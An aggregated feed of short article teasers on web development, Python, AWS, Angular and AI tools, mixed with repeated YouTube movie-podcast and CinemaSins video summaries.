Summary The downside of using real names is the constant need for consideration, which is inherently burdensome. This makes it challenging to focus on essential discussions. While psychological safety is emphasized, building and maintaining it is daunting and often insufficient on its own. This is where "closed anonymity" comes into play. While we want to use anonymity to avoid the inherent burden of real names, we also want to ensure governance. Thus, "being anonymous within a specific organizational scope" is the balance we aim for. Even today, we work under our real names. Needless to say, using real names is burdensome. This is because, with clear visibility of ourselves and others, we must constantly be considerate in our speech and actions. We could say there is a constant hea…  ( 8 min )

Low-code platforms like n8n have gained popularity among beginners, freelancers, and non-technical users exploring automation and AI workflows. They promise fast development, visual orchestration, and “code-optional” integration. For many, n8n is their first exposure to automation and their first glimpse into how software engineers think. And that is its true strength: n8n is an excellent learning and experimentation tool, not an engineering platform. Just like WordPress introduces people to websites, n8n introduces people to automation. It is ideal for exploring concepts, but it is not where scalable, maintainable, production-grade systems are built. If you're new to software automation—or even if you're 10 years old and curious about how software workflows behave—n8n is a great place to …  ( 8 min )

Every product team knows the tension between speed and clarity. Moving from a concept on a slide to something people can actually test is often slow, expensive, and fragmented. That gap between what we imagine and what we can demonstrate is where many good ideas stall. Figma Make enters this space with a bold promise: to compress the distance between idea and proof, giving teams the power to build realistic, functional prototypes directly from their designs. As a product designer, I live in the idea-to-pitch loop with a constant question: How do I make my teammates or clients see what I see? Mockup help. Words help. But they’re not enough. Whether it be pitching to investors, scoping with clients, or aligning internal teams, ideas are always easy to talk about, but hard to show. We're st…  ( 9 min )

I remember the first time I tried building a multi-section landing page. Everything seemed fine until I had to align cards, features, and hero sections across different screen sizes. Flexbox was great, it helped me align items neatly along a row or a column. Buttons were easy to center, cards aligned without stress, and navigation bars looked clean. But when it came to arranging rows and columns simultaneously, I felt like I was juggling invisible boxes. At that point, I realized that while Flexbox is incredibly useful, it wasn’t enough for some layouts I wanted to build. That’s when I discovered CSS Grid, and it felt like a whole new world opened up. Suddenly, I could control both rows and columns, manage spacing effortlessly, and create layouts that scaled beautifully on different device…  ( 14 min )

In the wild world of Search Engine Optimization (SEO), the competition is usually dominated by software with super technical or keyword heavy names. You know the type: "SEO Master Pro," or "Keyword Elite." But then, there is one phenomenon that challenges all the rules: Neil Patel. It’s not "The Ultimate SEO Analyzer" this dominant service is widely known purely by the power of its founder's name. The success of Ubersuggest isn't just about sophisticated algorithms; it’s a masterclass in personal branding. In the digital realm, tools usually rely on descriptive names. Neil Patel and Ubersuggest took a different, far more effective route. Here is the breakdown: Neil Patel isn't just selling an SEO tool; he is selling his expertise in the form of a tool. Because he spent years building an i…  ( 7 min )

Metaclasses are one of those Python features that sound complicated but are actually based on a simple idea: Classes create objects. That’s it. When you write: class User: pass the class User is actually an object, and Python needs something to build that object. print(type(User)) Output: So type is the “class-maker.” Why Would You Ever Use a Metaclass? Most people never do — and that’s fine. But frameworks like Django, SQLAlchemy, and Pydantic use metaclasses to: add extra attributes to classes validate or modify classes at creation time automatically register subclasses build features with less boilerplate A metaclass lets you run logic when the class is created, not when it runs. A Basic Metaclass Example This metaclass prints the name of the class being created: class LoggerMeta(type): def __new__(cls, name, bases, attrs): print("Creating:", name) return super().__new__(cls, name, bases, attrs) Using it: class Example(metaclass=LoggerMeta): pass When the file loads, it prints: Creating: Example Because the metaclass runs before the class exists. Adding Automatic Attributes A more practical example: class InfoMeta(type): def __new__(cls, name, bases, attrs): attrs["source"] = "auto" return super().__new__(cls, name, bases, attrs) Usage: class Product(metaclass=InfoMeta): pass print(Product.source) Output: auto The metaclass quietly added the attribute. When to Use Metaclasses Use them only when you need to control how classes are built — usually in libraries or frameworks. Normal applications almost never need them.  ( 6 min )

You'll need lawyers, lengthy contracts, expensive legal battles, and even then, once your work is online, tracking who's using it is nearly impossible. And don't even get me started on AI companies scraping your content to train their models without asking permission or paying you a dime. Enter S.Y. Lee—a Korean entrepreneur who sold his last startup for $440 million and decided his next mission would be to fix the entire broken system of intellectual property. The result? Story Protocol, a blockchain that just launched in February 2025 and is already valued at $2.25 billion. This is the story of how a serial founder, a Google DeepMind product manager, and a team of absolute grinders built what they're calling "programmable IP"—and why it might just change how every creator, artist, and AI…  ( 15 min )

You know that moment when you’ve read the same MDN paragraph 17 times and closures still feel like black magic? Same story here. Every JavaScript dev hits this wall at some point, especially with modern React, custom hooks, event handlers, and AI-driven tooling becoming more closure-heavy in 2025. But once closures “click”, your debugging skill skyrockets. In this article, I will give you the explanation I wish someone had told me years ago, simple, practical, and free of textbook jargon. Let’s break this down. A closure is a function that remembers where it was born. That’s it. Even when it leaves its original home, a closure keeps access to the variables that were around during its creation. Here’s the catch: “memory” survives even after the outer function finishes running. Imagine you’r…  ( 8 min )

The Symfony Cache component is often the most under-utilized tool in a developer's arsenal. Most implementations stop at "install Redis" and wrap a few database calls in a $cache->get() closure. While functional, this barely scratches the surface of what the component can do in high-throughput, distributed environments. In Symfony 7.3, the Cache component is not just a key-value store; it is a sophisticated system capable of tiered architecture, probabilistic stampede protection and transparent encryption. This article explores important caching strategies that solve expensive architectural problems: latency, concurrency (thundering herds), security (GDPR) and distributed invalidation. In microservice architectures or high-traffic monoliths, a network call to Redis (typically 1–3ms) can ev…  ( 12 min )

The One Security Setting Every AWS Account Needs We have all been there. You are in a rush to launch an EC2 instance. You click through the configuration screens, hit "Launch," and then realize... you forgot to tick the "Encrypt" box for the storage volume. In the world of cloud security, human error is the biggest risk. But what if you could "future-proof" your account so that you never have to remember to click that button again? There is a setting in AWS that takes literally 30 seconds to turn on, costs nothing extra to enable, and ensures that every single new hard drive (EBS volume) you create is encrypted automatically. Here is how to turn it on, why it matters, and the few things you need to know. Think of EBS Encryption by Default as automatically locking your front door every ti…  ( 8 min )

What if I told you that for about 80% of text-analysis tasks, you don’t need ChatGPT, Claude, Gemini, or any paid API at all? Instead, you can use a tiny, powerful, and completely free Python library that has quietly existed for years: TextBlob. In a world where AI APIs cost real money, sometimes a lot of money, TextBlob is a reminder that not every problem needs a 175-billion–parameter transformer. For many day-to-day NLP tasks, a lightweight local tool is all you need. Let’s explore how TextBlob can replace expensive AI calls and save you time, money, and compute, without sacrificing usefulness. TextBlob is a lightweight, beginner-friendly natural language processing (NLP) library for Python. It’s built on top of two foundational NLP tools, NLTK and pattern, and provides a clean, simple…  ( 10 min )

‘Weird Science’ Revisited Bill Simmons and Kyle Brandt dig into John Hughes’s 1985 teen classic, Weird Science, unpacking its over-the-top ’80s vibe—think sex, drugs, rock ’n’ roll (plus obligatory chips, dips, chains and whips)—and celebrating the on-screen magic of Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Along the way they give a nod to producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, toss in a State Farm sponsor shout-out, and remind you to subscribe to The Ringer’s YouTube channels for more movie deep dives. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less is CinemaSins’s latest dive down the yellow brick road—reevaluating The Wiz now that Wicked is back in theaters and asking if it’s better than you remember. They’ve packed the description with links to their site, socials, a sinful poll, and Patreon. The video credits writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and invites fans to follow along on Discord, Reddit, Instagram and TikTok. Watch on YouTube  ( 6 min )

CinemaSins just dropped “Everything Wrong With KPop Demon Hunters in 16 Minutes Or Less,” their trademark rapid-fire roast of the movie’s quirks, plot holes and over-the-top demon-slaying. They promise plenty of snark, invite you to weigh in on their sinful poll, and remind you that if you love the bit, supporting them on Patreon keeps the little team going. Beyond the sins, they’re plugging all the usual suspects: YouTube channels (@TVSins, @commercialsins), socials (Twitter, Instagram, TikTok), their Discord and Reddit communities, and even Jeremy’s book. If you can’t get enough, everything’s conveniently linked via their linktr.ee page. Watch on YouTube  ( 6 min )

Biggest Disney Bombs: The Sorcerer's Apprentice – Caravan of Garbage Disney’s recent slate has been hit or miss – Marvel and Star Wars installments aren’t flying like they used to, and newer originals like Wish and Elio have barely made a ripple. But hey, this isn’t uncharted territory for the Mouse House. Over the next few weeks, “Caravan of Garbage” is diving into four of Disney’s most spectacular live-action flops. Kicking things off is 2010’s The Sorcerer’s Apprentice, complete with Nicolas Cage, questionable magic, and… a giant bird? Join James and Maso as they revisit the film you probably forgot (but they definitely haven’t), and get ready for more glorious dumpster dives into Disney’s dud-dusted past. Watch on YouTube  ( 6 min )

With Angular 21 introducing the new Signal Forms API, we now have a different and more streamlined way to approach async validation. In this post, we'll walk through how async validators work in Signal Forms, including how to set up a debounced username check using validateAsync(), resource(), and custom async errors. You'll see how pending states, real-time feedback, and server-backed checks fit into this updated pattern giving you a clear understanding of how async validation is handled in Angular's modern form system. Starting with a Basic Signal Form For this example, we'll be using an Angular form: It has a username field and that field should check the server to see if the username exists as the user types. Easy enough, right? But there's a twist: this form uses the …  ( 13 min )

Freedom without control is chaos — and control without freedom is stagnation. Mature cloud organizations move fast and remain compliant — without slowing developers down with approvals and manual reviews. The solution: Guardrails, not gates. In this deep-dive, I will walkthrough an AWS-native governance model using Policy as Code (PaC) across a multi-account AWS environment, leveraging: AWS Organizations, Control Tower, SCPs, AWS Config, CloudFormation Guard, Security Hub, Audit Manager, EventBridge, Lambda Remediation, and Amazon Detective. This is the blueprint can be used to achieve continuous compliance, audit readiness, and autonomous engineering velocity. As organizations scale from a few accounts to hundreds of workloads, familiar problems quickly appear: Inconsistent tagging — reso…  ( 14 min )

2:47 AM. Phone vibrating... I turned on the screen expecting a notification, but instead saw a strange video, filmed as if through an old VHS tape. A person on screen spoke quietly, almost in a whisper: "If everything has consciousness... even a brick... even this table... then where do I end?" This was two days after a black cat had wreaked havoc in our kitchen. And an hour after I'd deleted all the text of a song for the hundredth time—a song I was trying to write about that incident. I wanted to write a song about that morning—about the cat-bandit, about my rage, about the strange insight that came later. But the words wouldn't come. I turned to AI: "Write a song about a cat that made a mess in the kitchen" The results were predictably awful—cliché rhymes, flat emotions, none of the d…  ( 9 min )

What Is Asset Health? Asset health shows how well an IT asset is performing at a given moment. It helps you see if a device or system is working normally or starting to show problems. In IT Asset Management (ITAM), asset health reflects the condition, reliability, and performance of your hardware and software. A healthy asset runs smoothly and stays updated. An unhealthy asset may slow down, freeze, or require frequent support. Think of asset health as a simple status check for your IT environment. When you understand the health of your assets, you can plan maintenance, prevent downtime, and decide when to repair or replace equipment. Why Asset Health Is Important Asset health matters because it tells you if your devices and systems can support your daily work without problems. When y…  ( 11 min )

There is a famous business saying that has echoed through the tech world for years: "Standing in the wind, even a pig can fly." It implies that if the trend (the "wind") is strong enough, anyone can succeed, regardless of their actual skill level. Now, we are in November 2025. The AI "wind" is no longer a breeze—it is a hurricane. We have LLMs that refactor legacy code better than seniors, image models that understand complex physics, and video generators that dream in 4K. But look around. Are the "pigs" flying? Why? Because in a hurricane, if you don't understand aerodynamics, you don't fly. You just get thrown against a wall. Here is my controversial take for 2025: AI doesn't make it easier to be mediocre. It raises the bar for being competent. This brings me to how I rebuilt my workflow…  ( 8 min )

Technical comparison of MCP-native and traditional agentic frameworks with production considerations for building AI agents Use Case Framework Why MCP-native development mcp-agent Built for MCP from day one Visual debugging LangGraph Studio with time-travel debugging Multi-agent conversations AG2 Agents coordinate autonomously Type safety PydanticAI Full Pydantic validation Rapid prototyping CrewAI No-code Studio interface GitHub: lastmile-ai/mcp-agent | Python Python framework built for Model Context Protocol. Native MCP implementation, not an adapter. Key Features: Native MCP implementation - Full protocol support (tools, resources, prompts, notifications, OAuth) Automatic durable execution - Switch to Temporal in one config line, no manual checkpointing Cloud deployme…  ( 9 min )

In the AI image generation landscape of late 2025, Google DeepMind's Nano Banana Pro (also known as GemPix 2) has landed as a significant disruptor. Moving away from the "Gacha-style" randomness of early diffusion models, Nano Banana Pro marks the official entry of image generation into the era of "Logical Reasoning". Based on various technical reviews and data, this article analyzes the model's market positioning and technical value across three dimensions: architecture, consistency breakthroughs, and commercial application. Traditional text-to-image models often relied on probability fitting, leading to frequent physical hallucinations. Nano Banana Pro, however, is defined as a "Reasoning Model." Before generating pixels, it performs internal logical deductions to understand the physical…  ( 7 min )

Tricky shook up the ’90s by ditching the “Trip-Hop” tag and forging a claustrophobic, genre-bending sound with Martina Topley-Bird—melding soul, dub reggae and downtempo hip-hop into something dark, paranoid and totally his own. His debut album Maxinquaye, born from personal trauma and medicated melancholy, earned Bowie-style comparisons and critical praise for redefining what British hip-hop could be. But as Maxinquaye’s eerie grooves hit the airwaves, the industry sanitized Tricky’s raw edge, packaging his sonic experiments for mainstream radio. The story of Maxinquaye is one of groundbreaking innovation, creative ownership wrested away, and the ongoing journey of an artist who never quite fit the mold. Watch on YouTube  ( 6 min )

Everyone's talking about SIMA 2, DeepMind's Gemini-powered game agent, but the real opportunity is how it will change testing, training, and UX. Game AI is no longer a party trick. It is a universal agent that follows goals across worlds. That shifts how you build, test, and launch products. SIMA 2 understands goals, explains plans, and learns by exploring thousands of complex 3D worlds. It follows voice or even emoji commands, then tells you what it will do next. The truth is simple. Goal-following agents will become the new UI for complex work. ⚡ SIMA 2 nearly doubles task success versus its earlier version. That improvement actually unlocks practical pilots beyond games. Example. Ask it to gather resources in a new scene, and it explains the plan, executes steps, and adapts when the map changes. Now imagine the same pattern for QA, training sims, or ops runbooks. ↓ Pilot framework you can run in 14 days. • Pick one high-friction workflow in a safe sandbox. • Define a clear goal, guardrails, and a success metric. • Feed 20 to 50 examples and set a prompt plus feedback loop. ↳ Log plans, failures, and fixes to improve it daily. • Measure cycle time, error rate, and human handoffs. → If it beats baseline by 20 percent or more, expand to a second workflow. You will cut rework, learn faster, and ship with more confidence. Early movers will quietly build an advantage that compounds. What would you test first with a goal-following agent like this?  ( 6 min )

Weird Science gets the Rewatchables treatment as Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic starring Anthony Michael Hall, Kelly LeBrock, and Ilan Mitchell-Smith. Expect all the sex, drugs, rock ’n’ roll, chips, dips, chains and whips that made this flick legendary. They dissect favorite scenes, revel in ’80s nostalgia, and dish out hilarious commentary on the film’s quirks, making this episode a must-listen for fans of cheesy special effects and Hughes’s brand of teen comedy. Watch on YouTube  ( 6 min )

Sean Fennessey and Amanda Dobbins slot Inglourious Basterds at No. 4 in their 21st-century movie countdown, arguing it’s Quentin Tarantino’s definitive triumph—outshining Once Upon a Time in Hollywood with its bold rewrite of WWII history and, of course, Christoph Waltz’s scene-stealing, Oscar-winning turn. They dig into the film’s lasting legacy—how its blend of tension, dark humor and revisionist fantasy rewrote the rules of blockbuster storytelling and still feels electrifying almost two decades later. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road—just in time for Wicked’s theatrical return—to tear down the 1978 musical with polemic precision, nitpicking every plot hole, off-key moment, and questionable dance number in trademark snarky style. Want more sinful content? Cruise over to cinemasins.com or their linktr.ee, fill out the “sinful” poll, and back the crew on Patreon. You can also stalk Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel across Twitter, Discord, Reddit, Instagram, and TikTok for extra cinema shade. Watch on YouTube  ( 6 min )

CinemaSins just dropped a new “Everything Wrong With KPop Demon Hunters in 16 Minutes or Less” video, roasting every supernatural slip-up in the film. They’re your one-stop sin shop—hit up their site or linktr.ee for the freshest updates, fill out their sinful poll, and if you wanna keep the jokes coming, back them on Patreon. This episode was cooked up by Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and you can hang with the ever-loving sin community on Discord, Reddit, Instagram and TikTok (plus grab Jeremy’s book for more cinema carnage). Watch on YouTube  ( 6 min )

By Zhi Shao, From the Alibaba Cloud SLS Team Introduction As large language model (LLM) applications develop rapidly, we often focus on model fine-tuning and feature implementation. However, we tend to overlook a critical question: How do you effectively monitor, diagnose, and optimize live LLM applications? This article shares our engineering practices from building the SLS SQL Copilot. It shows how to build a complete data infrastructure for LLM applications using SLS. Background: Observability Challenges in LLM Application Development 1.1 The Rise and Limitations of the Dify Platform Dify is a popular platform for developing LLM applications. Its visual workflow design and rich widget ecosystem make development much easier. Our team chose Dify to build our SQL Copilot application. The …  ( 18 min )

1) Describe the Python Selenium Architecture in Detail Python Selenium follows a client–server architecture designed to automate web browsers efficiently. The main components work together in a sequence to execute browser actions. Selenium Client (Python Bindings) The Selenium Python library is where automation scripts are written. WebDriver Protocol The WebDriver protocol (JSON Wire Protocol / W3C WebDriver) acts as a communicator between Python code and the browser driver. Browser Drivers Each browser has its own driver responsible for executing commands inside the browser. Examples include chromedriver, geckodriver, msedgedriver, and safaridriver. Functions of browser drivers: Receive Selenium commands Convert commands into browser actions Send results back to Selenium Browser The actua…  ( 7 min )

It’s finally time to spill the beans on this secret money making tactic. Sharing is caring… Right? ⸻ There is a strange quiet in the world right now. A quiet that only shows up before a storm. The storm in question is not weather and it is not social commentary. It is a shift in how people work and how money moves. Most people cannot see it because they are too busy with the endless scroll. Their attention is trapped in the hypnosis loop of short form entertainment. Their imagination is melted to the shape of whatever the algorithm feeds next. You are not here for that. You are here because you suspect something. You feel that AI is not another trend. You sense that it is the infrastructure for an entirely new class of income streams. You suspect that the people who learn how to shape it …  ( 12 min )

Angular 21 landed on November 20, 2025, delivering major upgrades that improve performance, DX (developer experience), AI integration, and accessibility for web developers. Features Overview Performance Boosts AI-Driven Developer Tools Signal Forms Accessibility Build Optimizations Upgrade Tips 🎬 YouTube Series: Angular 21 Conclusion HttpClient Default: Instantly available in every project, reducing setup time. Zoneless Change Detection: Eliminates dependency on Zone.js for rapid updates. Signal Forms: Reactive, type-safe forms API replacing older RxJS-based methods. NgStyle Control Flow: Use @if, @for, and @switch inside templates for more dynamic UI. AI-Powered MCP Server: Smart migration guides, code suggestions, and best practice enforcement embedded into your workflow. Improved ARIA …  ( 7 min )

Flutter has long been a favorite for cross-platform development, but early versions faced a persistent enemy: shader compilation jank. This stuttering effect, often visible during the first run of an animation, frustrated developers and users alike. By 2026, the Impeller rendering engine has largely solved this issue, replacing the Skia engine with a solution built specifically for Flutter’s needs. This new engine delivers silky-smooth visuals by precompiling shaders, ensuring predictable performance on modern devices. Impeller is the dedicated rendering engine designed to replace Skia in Flutter applications. Unlike Skia, which was a general-purpose 2D graphics library, the Flutter team built Impeller from the ground up to leverage modern hardware APIs. It utilizes Metal on iOS and Vulkan…  ( 12 min )

I've always loved static site generators. But every time I wanted to spin up a small, focused site, I kept hitting the same problems: Boilerplates full of stuff I didn't ask for Too many external dependencies Complex setups just to publish a few pages or blog posts So I ended up building my own starter – and that's how Quesby was born. (Pronounced /ˈkiːz.bi/, like "keys-bee".) Quesby is the boilerplate that powers my own site at quesby.dev, and now it's open for you to use too. Quesby is a modern Eleventy boilerplate with a privacy-first mindset, Decap CMS integration, and a tiny core you can actually understand. It's a clean starting point for content-driven sites where you still stay in control. You might like Quesby if you: Enjoy Eleventy but don't want to wire everything from sc…  ( 7 min )

*Memo: My post explains type hints (1). The value None should be used as a type within a type hint because the type NoneType gets error as shown below: v: None # No error from types import NoneType v: NoneType # error: NoneType should not be used as a type, please use None instead The function which only returns None gets the error if defining and calling the function, and printing the return value as shown below: *Memo: The error can be disabled using --disable-error-code with func-returns-value: mypy --strict --disable-error-code func-returns-value test.py. mypy --disable-error-code func-returns-value test.py. Only defining and calling the function doesn't get the error. Only defining the function doesn't get the error. I reported the strange behaviour as the issue. def func()…  ( 8 min )

👋👋👋👋 Looking back on your week -- what was something you're proud of? All wins count -- big or small 🎉 Examples of 'wins' include: Getting a promotion! Starting a new project Fixing a tricky bug Finally replacing that dying houseplant you've been ignoring 🪴 Happy Friday!  ( 6 min )

For rapid building and deployment in extreme AQI conditions (999+ PM2.5), I aim to provide you a tested, cost-effective air purifier design structure achievable in 1–2 weeks if built with consistency, using repurposed materials and minimal investment. I will be sharing my condition and output results with this purifier unit, in the end.  ( 6 min )

Two weeks ago, I launched an ai tattoo generator called TattooRed. Today, I have 200 pages generated and 15 indexed by Google. But here's the interesting part: users generate the content, GPT-4o Vision enriches it, and Next.js 15 serves it—automatically. The architecture is designed to scale from 0 to 100K+ pages at $0.006 per page. Here's exactly how it works—including the disasters I didn't anticipate. I started building an ai tattoo generator. The obvious keyword was "ai tattoo generator" (22K monthly searches). But then I discovered "tattoo ideas" gets 135K monthly searches with similar difficulty (56% vs 50%). The opportunity was massive. But here's the challenge: How do you create 10,000+ unique, SEO-optimized pages for long-tail keywords like: "minimalist lion tattoo ideas" "waterco…  ( 12 min )

In a world overflowing with responsibilities, emotional burdens, and the constant pressure to “do more,” many people find themselves disconnected from a deeper source of fulfillment: genuine inner joy. Joy Potential emerges as a guiding light in this landscape, offering a sanctuary for individuals seeking to reconnect with their purpose, rekindle their inner spark, and rediscover a sense of aliveness that transcends daily stress. Rather than focusing on fleeting happiness, Joy Potential represents a movement centered on unconditional, embodied joy—joy that emerges from healing, self-awareness, and transformation. At its core, Joy Potential provides programs, experiences, coaching, and transformational methodologies designed to help people heal emotional wounds, rewire limiting beliefs, and…  ( 10 min )

Let's implement a custom hook that mimics the behavior of React's useState without using useState internally. This will involve using React's underlying mechanisms, specifically leveraging a simple state management approach with a closure or a global store to maintain state across renders. Here's a basic implementation of a custom useState-like hook: import React from 'react'; // A simple array to store state values for different components/hooks const stateStore = []; let currentIndex = 0; // Reset index for each render (this would typically be handled by React's fiber tree) function resetIndex() { currentIndex = 0; } // Custom hook to mimic useState function useCustomState(initialValue) { // Capture the current index for this hook call const index = currentIndex; currentIndex+…  ( 7 min )

👥 Who Is It For? Home users who want to monitor indoor air quality. Outdoor enthusiasts who care about pollution levels before stepping out. Researchers & developers experimenting with IoT sensors and environmental data. Health-conscious individuals who want personalized insights into air quality and wellness. If you have an IoT air-quality se``nsor, this app is your gateway to real-time monitoring, analytics, and AI-powered predictions. 💡 What Does It Do? PM2.5 & PM10 levels Temperature & humidity Air Quality Index (AQI) in real time It also provides: 📊 Interactive graphs to track trends 🤖 AI predictions for the next 4 hours 🩺 Health tips based on AQI levels 🌦️ Weather + AQI forecasts for smarter planning 🔌 How to Connect Your Sensor Login securely with your Firebase account. Connect ThingSpeak: Enter your Channel ID Enter your Write API Key Once connected, your sensor data flows directly into the app dashboard. Explore real-time readings, analytics, and AI-powered forecasts. 🚀 Why It Matters ✨ Ready to breathe smarter? Connect your sensor today and let AI AIR APP guide you toward healthier living.  ( 6 min )

Improving AI Email Classification Accuracy Through Prompt Engineering Overview We resolved email misclassification issues in our email classification system, where project emails (PROJECT) and talent emails (TALENT) were being incorrectly categorized. This article describes how we improved the problem of personnel emails containing "project desired" being misclassified as projects, using Few-shot learning and clearer judgment criteria. OpenAI GPT-4 Turbo (gpt-4-1106-preview) Claude 3 Opus (for comparison testing) TypeScript (v5.x) Prompt Engineering Few-shot Learning Natural Language Processing Our email classification AI was making incorrect judgments in cases like these: Misclassification Case 1: Personnel information classified as PROJECT Subject: [Personnel Information] In…  ( 16 min )

We're living in a surreal time. If you’re not using AI (GitHub Copilot, Gemini, ChatGPT) to write at least some of your boilerplate, you're already behind. But relying on a model, no matter how powerful, has revealed new, brutal truths about development. Here are five "secrets" I learned the hard way—lessons that define the difference between a great engineer and a great prompt engineer. 🛑 Secret #1: The Error Message Is The Real Product. AI is fantastic at generating code that looks right. But the moment that code breaks, the true test of engineering quality begins. The AI Problem: Generative models prioritize smooth, functional-looking code. They don't prioritize debuggability. Their generated errors are often generic, context-free, and lead you on wild goose chases. The Hard-Won Secret…  ( 8 min )

Hey, Dev.to community. Let's talk about the elephant in the data center: Generative AI is eating its own tail. You've heard of hallucinations, but that’s a feature, not a bug. The truly existential crisis facing the AI industry is Model Collapse, a concept so terrifying it threatens to degrade the intelligence of every future model. What is Model Collapse? (The AI Death Loop) This is what happens when new, powerful Large Language Models (LLMs) are trained on datasets that are increasingly polluted with content generated by previous LLMs. The Internet is now Synthetic: As AI-generated content floods the web (articles, code, images), the very data sources models rely on for training are getting "flatter" and less diverse. The Tails Vanish: Models trained on synthetic data lose sight of the "long-tail" of information—the rare edge cases, the unique opinions, the subtle details that make human data rich. The Convergence: The models begin to only produce outputs that resemble their own generic, average output, leading to repetitive, bland, and ultimately unoriginal content. 🤯 The Developer's Dilemma: The Research Problem: Future AI-powered research tools will increasingly provide only the "most-cited" or "most average" answers, causing genuine human knowledge to fade. This isn't theory. Researchers are seeing it now. We are training the next generation of genius on the mediocrity of the last one. Your Turn: Do you believe the industry can solve this data scarcity crisis, or are we witnessing the beginning of the great AI intellectual decay? Let me know!  ( 7 min )

Life is short, be proud of your work. AWS is probably the right choice because of it's 5 9s of availability on its core services. I've been on the other side and I trust that when something goes wrong, someone is aware and actively working to fix it before I even knew about it. ...Also, I want to support a diverse cloud market so instead of making the right choice, I'd probably go with startups like fly.io, tigris, clerk, and lemonsqueezy... not that I've thought about this or anything. SQL makes modeling a small domain easier, but wow does it cause problems. I remember being at a company where engineers had to plan to wake up at midnight to upgrade various dbs to meet quarterly objectives. I don't want to ever have to wake up to upgrade a db. At another company, all we did was debug index…  ( 8 min )

Missing data is one of the biggest headaches for any analyst or data scientist. It silently breaks models, distorts patterns, destroys statistical power, and—if ignored—creates misleading insights. Analysts dread encountering missing values, but smart analysts know how to impute them effectively instead of simply dropping rows and shrinking their dataset. What Are Missing Values and Why Do They Matter? The Three Types of Missing Values (MCAR, MAR, NMAR) 2.1 MCAR: Missing Completely At Random (Rarest Case) 2.2 MAR: Missing At Random (Most Common in Business Data) 2.3 NMAR: Not Missing At Random (High-Risk Category) When Is It Safe to Ignore Missing Values? Common Imputation Strategies 4.1 Mean / Median Imputation (Numeric Data) 4.2 Moving Window or Rolling Means (Time-Series) 4.3 …  ( 9 min )

‘Weird Science’ Rewatchables with Bill Simmons and Kyle Brandt Bill Simmons and Kyle Brandt dive deep into John Hughes’s 1985 cult classic Weird Science—complete with sex, drugs, rock ’n’ roll, chips, dips, chains and whips—to unpack what makes Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith’s geek-meets-fantasy romp still worth a spin. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this Ringer Movies episode is all about celebrating the highs, lows and weirdest moments of one of Hughes’s most off-beat teen comedies. Watch on YouTube  ( 6 min )

Sean Fennessey and Amanda Dobbins dive into Quentin Tarantino’s “Inglourious Basterds,” ranked No. 4 on their 25 Best Movies of the Century list. They argue it’s the ultimate Tarantino pick over “Once Upon a Time in Hollywood,” gush over Christoph Waltz’s scene-stealing turn, and unpack the film’s audacious, revisionist take on WWII. From its signature mix of dark humor and nail-biting tension to its bold stylistic flourishes, they explore how “Inglourious Basterds” redefined the war movie and cemented its status as one of the most electrifying cinematic experiences of the 21st century. Watch on YouTube  ( 6 min )

Wicked: For Good gets a major side-eye from Sean, Amanda and Juliet Litman after they kick off the podcast by breaking down trailers for Charli XCX’s The Moment and The Hunger Games: Sunrise on the Reaping. The group finds John M. Chu’s big-budget musical a real head-scratcher—odd plot moves, flat characters—and they speculate on its box office haul, how this press tour stacks up against last year’s, and whether it’ll snag any Oscar buzz. Next up, they chat about Clint Bentley’s Train Dreams, praising its honest grief story, gorgeous digital cinematography, and stellar supporting cast. Then Bentley hops on to explain why he once thought the novella was unfilmable, how he meticulously crafted his logging sequences, and what’s on his mind about today’s indie-film landscape. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less Cinema Sins takes a whirlwind tour down the yellow brick road, poking fun at The Wiz’s plot holes, set quirks, and character hiccups—all in their signature rapid-fire style now that Wicked is back in theaters. Expect snarky takes on the Scarecrow’s one‐note shtick, unexpected costume choices, and any logic gaps they can squeeze into 15 minutes or less. Along the way, they drop links to their website, Discord, Reddit, multiple YouTube channels, and a Patreon for anyone who wants to keep feeding their growing team of sin counters. Don’t forget to fill out their sinful poll and see which writer gets dubbed the ultimate Wiz watchdog! Watch on YouTube  ( 6 min )

Everything Wrong With KPop Demon Hunters is a 16-minute CinemaSins roast that gleefully rips apart the movie’s plot holes, cheesy dialogue and demon-slaying clichés. Along the way they plug their official site, spin-off YouTube channels, Discord, Reddit, and even run a sinful poll—plus invite you to back them on Patreon. Shout-outs roll to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and you’ll find links to Jeremy’s book, Instagram, TikTok and more for your next fix of sinning shenanigans. Watch on YouTube  ( 6 min )

Biggest Disney Bombs: The Sorcerer’s Apprentice Disney’s on a bit of a roller-coaster these days—Marvel and Star Wars aren’t exactly smashing box-office records, and newbies like Wish and Elio have barely made a ripple. To remind us it’s not all doom and gloom (or maybe it is?), The Weekly Planet is rolling out a mini-series on four colossal live-action flops. First up is 2010’s The Sorcerer’s Apprentice, starring Nicolas Cage, some half-baked magic and that memorable giant bird. Hosts James and Maso kick things off with their usual banter and deep dives—plus they’ve packed bonus podcasts, video commentaries and more over at bigsandwich.co. Watch on YouTube  ( 6 min )

I recently finished an open-source contribution that I’m actually really proud of. This time, I worked on the typescript-language-server project. I wanted to challenge myself with something more complex than what I normally do, and I came across Issue #956, which asked to support a new tsserver feature called --canUseWatchEvents. The idea behind the feature is that, in huge TypeScript projects, tsserver ends up watching thousands of files on its own, which can slow things down a lot. Newer versions of TypeScript offer a way for the editor to handle file watching instead, and only tell tsserver when something actually changes. VS Code already does this, but other editors that rely on the language server didn’t have this yet. I thought this would be a medium-level contribution, but it turned…  ( 7 min )

Read the original article：How to add polylines to a map, change polyline color, and set polyline texture Problem description How to add a polyline on a map, change its color, and set its texture? Background knowledge 1- Use the addPolyline interface to add a polyline . 2- Use the setColor interface to set the color value of the polyline. 3- Use the customTexture property of MapPolylineOptions to set the polyline texture Solution 1- Use the addPolyline interface to add a polyline . The line is black by default. 2- Use the setColor interface to set the color value of the polyline. 3- Use the customTexture property of MapPolylineOptions to set the polyline texture. This property supports two formats: ResourceStr and image.PixelMap. It is recommended to use an image without a background co…  ( 7 min )

